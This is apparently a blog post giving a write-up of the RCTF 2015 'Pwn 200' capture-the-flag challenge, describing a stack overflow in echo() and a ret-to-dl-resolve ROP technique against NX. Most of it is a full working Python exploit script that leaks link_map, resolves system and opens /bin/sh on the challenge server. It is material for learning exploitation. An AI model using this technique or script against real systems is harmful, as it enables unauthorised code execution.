Silver

活了一百年却只能记住30M字节,悲哀啊。
我还不如一张Zip盘。

RCTF 2015 Pwn 200

Last updated:Nov.15, 2015 CST 20:26:43

A x86_64 program without libc, and protected with NX and maybe ASLR. A stack overflow problem can be easily found in function echo():

Location of problem

The space on the stack is only 0x20, while we can give a string length at 0x400 and completely controlable. Ret-to-dl-resolve will also be used to escape from NX.

However, the function echo() will stop copying once it meets a 0x00. After a reconsidering of this stack structure, it is not something big. Since our data is also stored on stack, and under x86_64, since arguments are not passed through stack(at least in this function), we can just make the copy function stop at a certain point, and pop again to use our own rop chain. Though it might be stripped in echo(), we can actually not considering it.

The exp script is as below.

Thanks to Bigtang for showing me this way to bypass its protect.

Thanks to roputils for its excellent script.

#"a"*24 -> pop4+ret -> [ROP jobs]
from roputils import *

offset=32
fpath='./pwn200'
#p=Proc(rop.fpath)
p=Proc(host='180.76.178.48',port=6666)

rop=ROP(fpath)
addr_stage=rop.section('.bss')+0x400
ptr_ret=rop.search(rop.section('.fini'))

buf='a'*24+'\x9c\x08\x40\x00\x00\x00\x00\x00'
buf += rop.call_chain_ptr(          # have a rop chain to leak the address
    ['write', 1, rop.got()+8, 8],
    ['read', 0, addr_stage, 420]
, pivot=addr_stage)
buf += rop.fill(0x100, buf)

p.write(buf)
p.read(16)
addr_link_map = p.read_p64()
print("link_map is at %s" % hex(addr_link_map))
addr_dt_debug = addr_link_map + 0x1c8

buf = rop.call_chain_ptr(
    ['read', 0, addr_dt_debug, 8],
    [ptr_ret, addr_stage+400]
)
buf += rop.dl_resolve_call(addr_stage+300)
buf += rop.fill(300, buf)
buf += rop.dl_resolve_data(addr_stage+300, 'system')
buf += rop.fill(400, buf)
buf += rop.string('/bin/sh')
buf += rop.fill(420, buf)

p.write(buf)
p.write_p64(0)
p.interact(0)

Contact webmaster at:
[email protected]